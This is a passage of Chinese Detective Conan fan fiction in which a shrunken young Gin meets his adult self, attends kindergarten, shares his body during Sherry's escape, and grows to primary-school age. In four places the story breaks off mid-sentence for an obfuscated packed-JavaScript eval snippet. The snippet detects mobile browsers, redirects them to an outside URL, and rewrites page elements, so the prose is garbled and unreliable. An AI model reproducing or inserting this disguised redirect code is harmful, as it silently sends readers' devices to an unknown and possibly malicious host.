昨天晚上他在发烧,注意力并没有往常集中,忽略了一些细节。今天他复盘回想,才隐约意识到琴酒的态度有一些问题。具体是哪里有问题,他一时也说不出来,只是凭借了对自己的熟悉,感觉到了一些异样。 黑泽阵向来是有问题就要去解决,他从床上爬起来,手背碰了一下额头,粗糙地感受了两秒,认为自己应该是退烧了。 现在是早上七点不到,以他对过去伏特加的了解来看,那家伙应该还在睡觉。希望他的作息在这十年里并没有改变。 黑泽阵收拾好,无声无息地推开房间门时,已经是七点多了,但当他走到客厅的时候,果然看见伏特加仍然躺在沙发上呼呼大睡。 “……”黑泽阵的绿眼睛里流露出几分嫌弃,放轻脚步,走到伏特加身边,很轻松地就把伏特加的手机顺到了自己的口袋里。 在他恢复记忆后,简单地撬一个自己安全屋的锁并不是什么问题。黑泽阵走出屋子。街上的景物是他完全不认识的。路标上写着,米花町3丁目。 他退后几步,仰着头打量着自己刚走出来的屋子和周围的街道。 这一条街应该都是以别墅为主,有独栋也有联排,大多是三层为主,琴酒的屋子坐落在其中,从外观看平凡不起眼。街道上人不多,大概是因为时间还早。以黑泽阵的角度看,这算是一个还可以的安全屋。 最好的隐藏是藏在没有人想得到,或者是没人会在意的地方。没有人会想到琴酒会住在这里。 但黑泽阵知道琴酒只是暂时在这里住一段时间。在他刚进组织的时候就有这样的习惯了,从来不会在某个地方久居,他没有常规定义上的家,只有很多安全屋,一个地方住一段时间就会换。 他不认为十年后的自己会改掉这个习惯。 他们这种人……只有绝对的谨慎小心才能够活下去。黑泽阵不再打量周围的环境,反正过几天也会搬走。 他也没打算走远,只是想要了解一下周围的环境,顺便看看另一个琴酒多久才会想到他出走了。 他拿出伏特加的手机,想看一下地图,手机刚拿出来,远处不知道哪里突然响起一声不小的轰鸣声。 听起来像是什么东西炸了,不过肯定不是炸/弹。黑泽阵朝那个方向看去,想着干脆去那边看看好了。 三岁的身体真的很碍事。黑泽阵恼火地想,他还是要尽快找到变回去的方法,现在这幅样子,想要做什么都不方便。 他从手机地图上判断,刚才发出响声的位置应该是米花町2丁目,距离很近,可就是这么近的距离,他走过来都用了那么长时间。 在没有恢复之前,他很需要一个代步工具。黑泽阵这么想的时候,忽然就感觉有一阵风从他身边呼啸而过。 是一个小鬼踩着滑板,飞快地从他身边掠了过去,利索地转过了街道转角,消失在了他视线里。 “……”黑泽阵感觉这个滑板的速度比汽车都要快了。这是什么滑板? “灰原,发生什么了?我在路上就听见了博士家的动静。”应该就是刚才那个小鬼的声音。黑泽阵判断,停在原地没再继续往前走,猜测刚才弄出响声的应该就是这个小鬼认识的人。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785708|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事,只是博士不小心把我们今天要用的道具弄炸了。”一个很熟悉的小孩子的声音响起。 “柯南!你来得太晚了!我们不是说好七点就出发的吗!”这是另一个小孩的声音。 “看江户川的样子,遇到委托人了?”又是那个有些熟悉的声音。 黑泽阵往前走了一点。他想不到有什么小孩子的声音会让自己感到熟悉。他知道现在并不是他所在的时间,就算有熟悉的人的声音,也不应该是小孩的。十年过后,不管是什么小孩都应该长大了。 “嗯,一大早就来敲侦探社的门。” 黑泽阵看清楚了,是五个小孩,都是小学生的样子,正站在米花町2丁目22番的院子门口,旁边是一辆黄色的小汽车。 刚才踩滑板过去的应该是叫江户川柯南,家里是开侦探社的。 另外四个……黑泽阵的视线停下,紧紧地盯住了其中一个有着茶色头发的女孩。 这是……宫野家那个小女儿? 难怪他会觉得熟悉。黑泽阵算了一下日期。如果按照他的时间,他五天前才在组织的要求下,把这个小孩送出日本。 “……”黑泽阵看了一眼手机。现在是十年后没错。 所以这是怎么回事?宫野家的小女儿是八岁,因为组织好像提了一句说是出去上小学三年级。 他可不认为十年后,宫野家的女儿会有一个这么大的女儿。 只有一种可能。黑泽阵很快联想到了自己身上发生的事。面前这个依旧保持着小学生年龄的宫野家小女儿,和自己一样,是变小的。 他的脑袋又开始痛了,似乎有什么记忆挣扎着要从脑海深处跳出来,要提醒他一些事情。 “砰” 他被什么不轻不重地敲了一下脑袋,还没来得及反应,整个人就腾空而起。 黑泽阵还没来得及绷紧身体反击,就在熟悉的气息中不由得放松了身体。 不去回忆脑袋就慢慢不疼了,呼之欲出的记忆也跟着消失不见。 黑泽阵没好气地瞪着一声招呼都不打就把他拎起来的琴酒:“你有嘴巴,可以先说话再伸手。” 琴酒拎着他的衣领,在自己面前晃了晃,墨绿色的眼睛透出几分兴致,他说:“是你放松了警惕,小孩子的身体还会影响这些吗?” “……”黑泽阵知道是自己的问题,但这也是因为对方是琴酒。他懒得争辩,张开嘴就准备给琴酒的手腕来一口。 牙还没碰到,琴酒就松开了手。 黑泽阵差点以为自己要自由落体摔在地上,没想到琴酒松开手后又很快地抓住了他,换了个姿势,把他抱在了怀里。 “回去了。” “我自己可以走。”黑泽阵抗议。 他看不见琴酒的脸,挣扎了一下,力气抵不过成年的琴酒,只好放弃,耻辱地接受了这种完全是抱小孩的姿势。 琴酒懒洋洋地说:“别乱动,不然把你头发剪了。” “……”黑泽阵心想,幼稚。 他用尽全力踢了琴酒一下,只换来一声轻笑,却没有带任何不屑,听起来像是真心诚意的高兴,他几乎要以为是自己的幻听。 黑泽阵不动了。有古怪,有哪里非常不对。 ……琴酒心情为什么那么好?这不像他。 6.第 6 章 直到回到家中,黑泽阵也还是觉得琴酒不对劲。他的判断不可能出错,如果换作是他处于琴酒的角色,他不可能这么有耐心地对待一个缩小了的自己。 黑泽阵再一次复盘了自己到这里来之后的所有经历,似乎知道琴酒是什么时候态度发生转变的。好像就是在他昨天恢复身体之后。 但是为什么?有什么事情改变了琴酒的态度,他却不知道那是什么事。黑泽阵想不到缘由,有几分事情不在掌控中的不悦。 是他和琴酒间隔的这十年里面发生了什么事吗? “小小年纪,想那么多。”琴酒的声音打断了他的思绪,黑泽阵这才发现不知什么时候他们已经到了家门口,琴酒一只手正要去开门。 “喂!你先把我放下来!”黑泽阵有点急,被琴酒当小孩子抱是一回事,被伏特加看见就是另一回事了! “我让伏特加走了。”琴酒知道他在想什么,低头看见三岁小孩的有几分凌乱的白色短发,觉得这个视角很是新奇,伸手摸了一把,还是把人放下来了。 黑泽阵无语:“你自己没头发吗?”为什么要动他的。他还从来没有被人这么摸过脑袋,不太适应地甩了下脑袋。 “显而易见,我有,还比你的多很多。”琴酒说,他心情不错,还愿意为黑泽阵提出一点建议,“你现在用的那款洗发水不好,建议你换掉。” “哦。”黑泽阵的回答很冷淡。 琴酒低头看了他一眼,敏锐地指出:“看来你没有想过要回去。” “嗯哼。”黑泽阵回答敷衍,他不想解释,也觉得自己没有必要解释,他所经历的琴酒一样经历过,琴酒会知道他所想,分毫不差。 琴酒没有说话,他朝着卧室走去,黑泽阵紧跟在后面。 “回去没有意义。”黑泽阵低低地说。在属于他的世界,他现在就算回去了,大概也是死路一条。 琴酒在卧室的沙发上坐下,抽出一张纸,不知在上面写了什么。 黑泽阵本来想坐的位置被他占了,只好坐在床上,看着琴酒的举动,判断这应该是有一段时间的习惯。他心底涌起一点说不明白的情绪,嘴角不自觉地下扯,他问:“你不会是在写日记吧,日记这种东西写出来就是被发现的,你想给谁看?” “给你。”琴酒看了他一眼,眼里是黑泽阵无法理解的意味深长,琴酒问,“看你的样子,你知道自己大概是什么时候来到这里的。” 黑泽阵没有立刻回答他,这并不是因为他不知道。实际上,他清清楚楚地记得那天的日期。 “十二月三十一日。” 黑泽阵说。 到这里以后,他其实并没有确认过这里的琴酒是否有着和他完全一样的经历。虽然在很多细节上他的情感早已肯定他们是一样的,但出于一些长年累积无法改变的习惯,黑泽阵需要理智一次又一次地确认。 琴酒手中的笔停了下来,他侧头和黑泽阵对视,一模一样的绿眸看着对方,黑泽阵的眼睛里充满着执拗和一点他自己都没有察觉到的质问。 ……那个时候的自己,原来这么难搞的吗?琴酒移开了视线。他经常选择性忘记一些事情,但对于黑泽阵想要核对的事情,他永远不可能会忘记。只是现在他不太想直接回答。 “我知道了。”琴酒从口袋里拿出火机,火苗燃起,凑近了纸张。 黑泽阵没想到他的动作这么迅速,凑过去看的时候,纸张已经烧得看不清字迹。 “喂……”不是说给他看吗?黑泽阵心里有些不满。 “忘了。”琴酒是这么说的,但很显然本来也没有要给他看的意思,他轻飘飘地带过,把话题放在了黑泽阵最想知道的事情上。 “如果你说的……是你十九岁那个十二月三十一日。那么现在看来,那边的你死了?还是说你也不知道,只是单纯放弃了?”琴酒虽说是用的问句,但很显然心里已有答案。 黑泽阵双手在胸前交叉抱起,拒绝再往下这个话题的意思很明显,他说:“没死,也快了,我的选择是最不浪费精力的。” 琴酒挑眉,他勾唇笑了起来,笑中带着一点嘲讽,他俯视着黑泽阵,说:“试都没试过,愚蠢。” 黑泽阵没有笑,他感到了一点愤怒,很清楚这或许是因为完全地被琴酒说中了。甚至他不愿意承认的是,在他来到这里前的那几分钟,他心中对自己的评价也是如此。 他感觉到了一点恶心。果然,最懂得怎样戳痛他的人只有另一个自己。 这种所有想法无法掩饰,完全暴露在另一个人面前的感觉,真让人…… 心跳加快。 最了解我的人,果然只有另一个我。 也只有另一个我。 黑泽阵定定地定盯了琴酒两秒,毫不客气地刺了回去:“你是在骂自己吗?你又是怎么活下来的?你的话听起来,让我感觉你已经成为了彻头彻尾的组织走狗。” “你说话真难听。”琴酒直起身,居高临下地看着他,打量了一眼他的小身板,很突然地改变了话题,“从明天开始,你去幼儿园待着吧。” “?”黑泽阵一时间以为自己听错了。这和他们正在说的话的关联是?就算是被他说中了也没必要以这种方式转移话题! 两人对视,黑泽阵居然没有从琴酒的脸上看出任何开玩笑的意思。 “你有病吧。”黑泽阵说,“你确定你说的是,幼、儿、园?我只是看着像三岁并不是真的三岁。” “伏特加不可能每天过来,没人给你带饭,你确定以你的短手短腿不会把屋子烧了?”琴酒的理由看起来道理。 “我可以吃压缩饼干、冷冻饭团、速食,饿不死。”黑泽阵气笑了,“你只是想看我笑话。” “不,我是在为另一个我的健康着想。”琴酒这么说,脸上的意思却明显是想要看笑话。 黑泽阵却发现自己因为这句话而感到了满意。 在意识到后他立刻板起脸,从床上站了起来,大声强调:“我拒绝!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789030|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是在通知你,不是询问。”琴酒这么说。 这很琴酒。 黑泽阵非常不高兴地坐在黑色的保时捷里,冷着脸。 伏特加坐在驾驶位上老老实实地做司机,刚停好车,扭头就看见黑泽阵那和琴酒如出一辙的冷脸,犹犹豫豫地提醒:“哎,你、你到了。” “我没瞎。”黑泽阵带费力地推开了汽车门。 伏特加赶紧把放在副驾的书包拿起来,跟着下了车:“你的书包——” 黑泽阵假装没有听见,他大步地往前走,想要把伏特加甩在后面。但伏特加很轻松地追了上来,用恶心的语重心长的语气说道:“我大哥出门前再三叮嘱了你要带齐东西,赶紧背上吧。” 黑泽阵瞪了他一样,僵了两秒,极不情愿地接过书包。倒不是他真的怕了琴酒,只是他不想等到进幼儿园后被里面的人问东问西。 他讨厌幼儿园,只希望能够谁也不管他,让他安安稳稳地在角落待着。 伏特加目送着大概是大哥儿子的小孩走进了幼儿园,心想原来就算是大哥的儿子,也会不想去幼儿园吗。说起来,真的和大哥一模一样啊……不管是脸上的神情和说话的语气。 甚至给了他一种,他送琴酒去幼儿园的感觉。伏特加被自己吓到了,甩甩头赶紧把这个可怕的脑补甩开。 没想到他也能有送小孩子去上幼儿园的一天。伏特加踩着油门离开了。 ---------- 幼儿园和黑泽阵想象得一样令人烦躁。好在自由活动的时间比较久,黑泽阵在幼儿园转了一圈,很快找到了安静又还算干净的地方。他此时坐在卫生间的马桶上用不太熟练的短手按着手机。。 [幼儿园生活怎么样?] [很好,建议你也来体验一段时间。] [我不是适龄儿童。] [我也不是。。。] [你们老师发信息告状,说你把人打伤了。] [你想听到什么回答?我没把人打死已经是手下留情了。] [我只是来提醒你,别在卫生间待太久,我不想在做任务的时候收到不必要的短信。] “啧。”黑泽阵啧了一声,果然听见外面有了一些动静,大概是在找他。他从马桶上跳下来,把手机塞回口袋,推开了门。 可也就是这一个瞬间,空气极其诡异地扭曲了一下,快得肉眼几乎无法看清。 黑泽阵若有所觉地偏头,直直地对上了镜子里的自己——不是三岁的身板,而是一个成年的琴酒。却也不是他十九岁的身体,是像另一个琴酒。穿着黑色风衣,戴着黑色礼帽,一头银白色的长发,绿眼睛锋锐地盯着镜子。 他这是……又穿越了? 在他还没想清楚的时候,身体却动了起来,他意识到身体并不受他的控制。只能看着另一个琴酒转身重新站在了镜子前,戴着黑色手套的手在镜面上碰了一下,琴酒以低得只有自己才能听见的声音像在自言自语:“你来了。” 7.第 7 章 #作者有话说:由于第五、六章重写了,剧情有变化,这一章看不懂的可以回去看眼前面# [我没这么说。我对她半点兴趣都没有。]黑泽阵迅速反驳了他。他岔开了话题,就好像自己从来没有提过那个词一样:[她在组织主要研究的是什么?宫野家的小女儿,接手的应该是宫野他们的项目?组织那么信任她?] 在黑泽阵的时间里,他在组织的位置还没有深入到能够了解这一块,但他也隐约知道宫野艾莲娜和宫野厚司所负责的项目是组织药物方面的核心。雪莉看起来对组织并不是完全的忠诚。这么核心的项目,组织会放心交给她? 琴酒回忆了一下,尽量简洁地说:[在她姐姐死之前,她对组织还算忠诚,也可能是组织觉得她不具备威胁,所以她确实接手了宫野夫妇的研究项目。具体研究的内容我并不清楚,进度似乎不理想,没有达到组织想要的效果,目前只作为毒药使用。] [什么毒药?]黑泽阵随口一问,[有什么效果?] [一种人死后无法从尸体上检测毒素的药。]琴酒从口袋里拿出一个盒子,伴随一声几乎听不见的轻响,盒子被打开,五颗红白相间的胶囊整齐地躺在盒子里,普通又平凡,看不出任何奇特的地方,却让黑泽阵一愣。 [APTX4869。]琴酒说。 他的话音刚落下,就感觉到脑海里的声音变得急促了起来,黑泽阵的呼吸声清晰可闻,琴酒很难说服自己这些只是幻听。但就像那位医生所说的那样,随着幻听一同出现的症状还可能会有异常的头痛,琴酒用力盖上药盒,按了按太阳穴。 黑泽阵同样感受到了头痛,或者说太阳穴的突然抽痛就是在他看见红白胶囊后才开始的,似乎有什么记忆挣扎着要从脑海深处跳出来,要提醒他一些事情。 疼痛没有持续很久,他的面前闪过一些零碎的片段,却不等他试图抓住就像坠星一样飞快的堕入了黑暗,大脑重归平静,他还是没能想起那些不知为何丢失的记忆。 不过可以确定的是,他为什么会变小,甚至为什么会穿越,和面前这个胶囊脱不开关系。 黑泽阵幽幽地说:[我改变主意了,我现在对雪莉很感兴趣。] 琴酒正在收药盒的动作一顿,他难得地发现自己不知道黑泽阵在想什么。这个药有什么问题吗?这是雪莉在宫野夫妇的项目基础上研发出来的药,雪莉隐瞒了什么,而另一个自己注意到了? 琴酒一时没有说话。大部分时候,他把自己和黑泽阵分成两个人来看。只是他的理智让他其实很清楚,黑泽阵就是他自己。现在,黑泽阵说他对雪莉产生了兴趣,听起来是认真的。但琴酒觉得雪莉已经没有价值了,他对雪莉,他对将死的人任何没兴趣。 ……他真的不是人格分裂吗? 琴酒压下心底的疑惑,转身朝着关押雪莉的牢房走了过去。 走回去的路上,一切和进来的时候没有两样,监控闪着诡异的红灯,转动着脑袋盯着琴酒,平稳地运作着。三层密码锁上没有指纹,也没有触发的痕迹。 然而…… 牢房里为什么会空无一人? 琴酒站在牢房门口,一双眼睛两个人,沉默地看着空荡荡的牢房。 [组织要找我们麻烦了。]黑泽阵说,声音里透着古怪,[她跑了。] 琴酒大步上前,拎起原本铐在雪莉手上的手铐。手铐没有损坏的痕迹,他感觉不出上面是否还有温度,但他没有摘手套,这个时候在手铐上面留下指纹并不是明智的决定。也没有这个必要了。他离开不过短短十二分钟,雪莉凭空消失,而在这之前见过雪莉的人只有他。 他还在短时间内返回,不管怎么看,放走雪莉的最大嫌疑人就是他。 [……你要负全责。]琴酒说。他从口袋里拿出手机,第一时间把这件事告诉了手底下的人,交代他们立刻去附近搜寻,同时也告诉了那一位。 那一位回邮件不会那么快,琴酒最后检查了一遍牢房,转身离开了。 黑泽阵在他检查牢房的时候,注意到牢房里有个很不起眼的出口。说是出口也不准确,那实际上是个倒垃圾的出口,空间很小,以成年人的视角来看,半个身体都无法出去。 但如果是小孩子的话…… 黑泽阵若有所思。他似乎知道雪莉是怎么在短短的时间里面逃出去的了。作为APTX4869的研究者,手里有几颗药物不是值得惊讶的事情。 [组织在关押她的时候,没有想过要收走她的随身物品吗?]黑泽阵问。 [没有。]琴酒说,[组织大概是觉得,就算她带了什么东西,也不会有办法出去,所以只收走了电子设备。] [哼。]黑泽阵轻哼。 [你还是那么看不起组织。]琴酒看了眼手机,那一位回他邮件了,分走了他一部分注意力,他没能从黑泽阵的语气中察觉到黑泽阵已经知道了雪莉逃走的办法。 【贝尔摩德会负责这件事。】那一位的邮件很简洁。 [贝尔摩德……]黑泽阵在他脑海里说。 [比朗姆好。]两人的声音重叠在一起。若有若无的笑意很浅地从琴酒脸上溜了过去。 他没能多高兴几秒,黑泽阵忽然说:[我好像要走了。]将要离开的时候,不知为什么感觉比穿过来时要明显得多。这是一种很难形容的感觉,空间在黑泽阵面前发生轻微的扭曲,有点像是被高温照射的空气,一种抽离感涌上来,黑泽阵在要离开前试着告诉琴酒:[你知道我是穿过来的吗?] 不出意料的,琴酒表现得就像什么也没听见。琴酒只对他前面那句话作出了回应:[这次更快了。] 黑泽阵也没有失望。从琴酒的反应来看,自己应该来过很多次了。看琴酒以为自己患有精神病固然有意思,但黑泽阵不认为自己会缺德到来过那么多次却一次都没有对琴酒提过穿越的事。 那只有可能是他没有办法说,哪怕是用暗号或者是意会,也没有办法让琴酒知道。那没办法了,琴酒你就继续认为自己有病吧。这一次黑泽阵确实有几分幸灾乐祸了。 时间。 黑泽阵现在至少可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864760|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定,他这两次穿越所见到的琴酒,都是同一条时间线上的。 至于他自己,或许要等找回记忆才能弄清楚了。 [你看起来并不讨厌我的存在。]黑泽阵趁着最后一点时间问出自己的疑惑。如果是他以为自己出现幻听,或者是出现第二人格的话,一定会非常讨厌这个新的存在。琴酒明明是另一个自己,却似乎并不讨厌他。 [不讨厌。]琴酒回答得很直白。他从牢房里走了出来,再一次走过又长又空的通道,皮鞋磕在地上一声又一声,在仅有他一人空间里荡出一点回响。监视器沉默寡言地注视着他的脚步,一切都非常安静。 组织作为从上个世纪起就存在的跨国际大型犯罪团体,尽管一直以来都在努力保持着低调,但还是引起了多方的注意。以神秘的作风和捉摸不透的目的吸引了多方卧底不断地涌入。 组织有很多卧底,琴酒作为接近组织二把手的存在,处理过的卧底数不胜数,他都懒得去计算。 卧底是极其危险的职业,舍弃身份、舍弃亲友、舍弃自我,以崭新的身份进入危险且未知的环境。像是暴风雨天气里,被人毅然决然送飞的风筝,仅一根线连着确保不会迷失在风中。 所以断线的风筝也经常被用来形容上线断开的卧底。 琴酒不太喜欢这个说法。 可能是因为他的情况不太一样。倒不是上线断开了,而是放风筝的人没了。 琴酒心想他已经能够很无所谓地开点前任东家的玩笑了,这大概是现在的黑泽阵做不到的。 他只是回答了黑泽阵“不讨厌”,没有说原因。 有点矫情,琴酒不想说。希望黑泽阵自己能懂。 不过就算他要说,黑泽阵也听不见了,琴酒停下脚步站在那,意识到另一个悄无声息地离开了。 黑泽阵每次来都是这样,来的时候没有什么征兆,离开也只是偶尔会和他说。只是琴酒总是能够凭借直觉知道他什么时候来的,又是什么时候走的。 这真的是精神疾病吗?琴酒把手放在口袋里,握住那个从未打开过的没名字的药品,心中的疑虑更深了。 ---------- 黑泽阵眨了眨眼,意识到自己回来了。 时间似乎在他穿越的时候停滞了,他保持着推开窗户的姿势,面前是有点高度的地面。 他还沉浸在穿越所带来巨大信息量中,一时半会儿站在窗户上没下去。 “你不会是不敢跳吧。”熟悉的声音传了过来。 黑泽阵低头,看见了琴酒。 琴酒站在窗外,一成不变的帽子、黑衣、皮鞋,一成不变的冷淡。 只是一会儿没见,却好像多了点什么,一模一样的绿眼睛对视,黑泽阵高高地站在上方,忽然说:“我刚穿过去的时候,还以为你成为组织高层后压力太大,真的成了精神病。” 琴酒眼里闪过一丝惊讶,像平静的湖水里被投入石子,激起圈圈回波。 “不是因为组织。”琴酒朝黑泽阵伸出手,说,“是你,你要负全责。” 8.第 8 章 黑泽阵注视了几秒琴酒对自己伸出来的手。地面距离窗户的高度大概不到两米,只靠他现在三岁的身体也能够下去,受伤的可能很大,最好的办法还是给自己找个肉垫。 理智是这么说的,黑泽阵却没动。这种感觉很微妙,他很少信任别人,更加不可能依赖一个只见过几次面的人。但这不是别人,是另一个自己。 他可以相信自己。黑泽阵心想,带着一点不情愿,他没再磨蹭,往下一跳。 他落入琴酒怀中,琴酒宽大的手稳稳地接住了他,然后很顺手的就把黑泽阵抱在了怀里。 黑泽阵立刻反应过来,琴酒不会那么轻易就把他放下来。 他被琴酒举了起来,琴酒两只手举着他,绿眸带着点新奇地打量着他,像是在看什么很有意思的玩具,两人挨得很近,黑泽阵恼怒地瞪着琴酒,忍住不像小孩子一样嚷嚷着让琴酒把自己放下来。 不用他开口,琴酒也知道他在想什么,琴酒先开口了:“好短的腿。” 原来三岁的自己这么矮吗?短手短腿的,很轻,他举起来毫不费力。三岁的小孩还是上幼稚园的年龄,当然,不管是琴酒还是黑泽阵都没有上过幼稚园,他是在孤儿院长大的,营养不是很好,但毕竟是小孩子,脸颊还是圆的,是小孩子才有的包子脸。 银白色的短发看上去很柔软,绿眼睛瞪着他的时候也没有一点杀伤力,反而更像是小孩子在闹脾气。 可爱得有点恶心了。琴酒想。一想到这是过去的自己,就更加觉得有点恶心,他果然还是很讨厌小孩。 黑泽阵肯定没有好好打量过他自己现在的样子,琴酒这么想着,把两只手举着换成了一只手把黑泽阵抱在怀里,从口袋里拿出手机,以迅雷不及掩耳的速度,连着点了很多下拍照的按键。 “你!”黑泽阵在他换手的时候就意识到了他要做什么,奈何他现在是真正意义上的五短身材,他本能地伸出手,在发现自己完全够不着的那一刻感觉到了自取其辱。 等他恢复原来的身体,他一定会报复回去的。黑泽阵磨了下后牙槽,想到一个会有用的办法,张开嘴就就准备给琴酒的手腕来一口。 只是牙还没碰到,琴酒就松开了手。 黑泽阵差点以为自己要自由落体,好在琴酒松开手后又很快地抓住了他,换了个姿势,重新把他抱在了怀里。 “回去了。” “我自己可以走。”黑泽阵抗议。 琴酒懒洋洋地说:“别耽误时间,伏特加还在等我们。” 他没听到黑泽阵回话,有些意外,下一秒却感受到了胸口的衣服被大力拽住了,他低下头,看见黑泽阵痛苦地蜷缩了起来,和昨晚那个时候的样子很像。 黑泽阵要变回去了?琴酒皱眉。这一次又是因为什么?共感也在这个时候发挥了作用,琴酒默默感受着来自心脏和四肢撕裂扭曲的痛苦,一边观察着黑泽阵的状态。 从昨天两人心照不宣的测试来看,他们身上的共感是双向的,疼痛的感觉也很接近,只有在这个时候例外。琴酒的疼痛阈值很高,现在这种程度他能够承受,但黑泽阵显而易见地比他更加痛苦。 冷汗从黑泽阵额头溢出,黑泽阵用力咬着下唇,四肢的剧痛像是被人打断了骨肉还要扭一把,他的意识逐渐因为疼痛而模糊,连他自己也没发现,他下意识紧紧地拽着琴酒的衣服。 琴酒碰了一下黑泽阵的脑袋,温度很高,不知道之后会不会继续发烧。他没有过多的担心,按照昨天的经验,这个过程不会持续很久,黑泽阵很快就会在他面前发生一些并不科学的变化,所以他现在是在想另一个问题——如果黑泽阵要变回十九岁,那他是不是应该提前把这家伙扔在地上。 琴酒犹豫了两秒,正准备行动的时候,感觉到怀里的重量变沉了。琴酒颇有几分失望地看着三岁的幼稚园黑泽阵消失,取而代之的是六岁左右的小学生黑泽阵。 黑泽阵自己还没有反应过来,眼睛紧紧地闭着,很是乖巧地趴在他怀里一动不动,琴酒看了几秒,心想小学生也不错,一个有自理能力但是依旧没有反抗能力的年龄,更适合关在家里。 已经耽误了一段时间,再在这里停留下去,警察可能会找过来。琴酒拨通伏特加的电话,让他把车开过来。 上车的时候,黑泽阵已经恢复了不少,病恹恹地挣扎了一下,想要从他怀里挣出来,被琴酒按住了:“回去再说。” 回去再说和他现在不想被琴酒抱着有什么冲突吗?黑泽阵有气无力地翻了个白眼,想到伏特加在,也没有力气挣扎,只好眼不见心不烦,又一次闭上眼睛。 他没弄清楚身上的变化,还在想为什么这一次疼痛过后自己没有恢复原样,殊不知自己现在已经晋升为小学生了。 伏特加又在偷偷摸摸地从后视镜里偷看黑泽阵和琴酒。黑泽阵被琴酒揽在怀里,琴酒有意地拿黑色风衣包裹住了他,伏特加看不清楚,不过看到这一幕也足够,他不由在心中感慨,大哥对这个小孩可真好啊,他第一次见大哥这么重视一个人。 他今天早上是被备用手机吵醒的,身为组织成员,有好几台手机很正常,他原本以为是伪装的身份的工作电话,没想到另一头却是大哥的声音,比往常还冷,冷得掉冰渣还带着杀意,吓得他以为自己又犯了什么天大的错误要被组织灭口了,结果却听到是大哥让他去找黑泽阵。 伏特加暗暗在心中把黑泽阵的地位提了又提,不管这小孩的来源是什么,可以确定的是大哥非常在意他,那么他以后也要更加重视这个小孩,要把他看紧来,这一次是他疏忽了,没想到三岁的小孩能够从大哥的安全屋里跑出去。 三岁,不,现在已经是六岁的黑泽阵也在琢磨着琴酒的态度。 将心比心,如果是他的话,他觉得自己不会对另一个自己那么好。也不用如果,就拿他现在看到琴酒来说,他也有点讨厌琴酒。但琴酒对他不太一样。先是在他溜出门时,琴酒就一直尾随在他身后。然后是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868686|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为剧痛神志不清时,琴酒居然表现出了一丝担心。 黑泽阵推测琴酒的态度大概是因为那些还没发生在他身上的穿越带来的,他难免对穿越产生了一些好奇。 所以在两人回到琴酒的安全屋,屋子里只剩下他们俩的时候,黑泽阵问:“你为什么不提前告诉我穿越的事?” 他现在知道自己变成小学生了,说这句话的时候正站在镜子前观察着自己熟悉又陌生的身体。 琴酒靠在沙发上,拿着一本书,视线却始终落在他身上,琴酒说:“没有必要。”在看见十九岁的黑泽阵的那一刻,他就意识到了过去十年里他从来没有得过什么精神病,那个人是黑泽阵,是真实存在的,是另一个自己。 会让他以为自己有病的是不科学的时间穿越,对他来说是已经发生的事,如果黑泽阵一无所知,那可能是黑泽阵失忆了,或者是事情还没有发生。 不管是哪种可能,他都没有必要说。 “那我现在问你,你也还是会回答没必要吧。”黑泽阵透过镜子和琴酒对视,就像两人还在用同一具身体时那样,他能够很快地明白琴酒的意思,因为他们是一个人。 既然穿越已经发生在琴酒身上,是他已经经历过的事,是过去时,那么不管接下来黑泽阵知道了什么,又在穿越的时候做了什么,都不会带来改变。 “你可以多期待一点。”琴酒说。 黑泽阵耸耸肩:“行。”他从镜子旁走开了,在琴酒对面的沙发上坐下,问出他现在最关心的问题:“组织现在找到雪莉了吗?” “没有。”琴酒回答,在发现黑泽阵是从十九岁变成三岁之后,他就知道雪莉为什么能够从牢房里凭空消失了,“她现在大概是变成小孩,不知躲到哪里去了。” “帝丹小学。”黑泽阵说,“我要去那里上学。”既然组织没有发现,那就是安全的,他可以试着接近雪莉。作为药物研发者,雪莉手里应该有解药。 琴酒立刻知道黑泽阵今天很凑巧地见到了雪莉。他回忆了一下,好像是,在黑泽阵被抓之前,确实有几个小学生在附近,只是他没有在意,回想起来的时候那几个人脸也是糊的。 不重要,琴酒点头,语气重带着看笑话的意思:“你现在也确实是适龄儿童。” 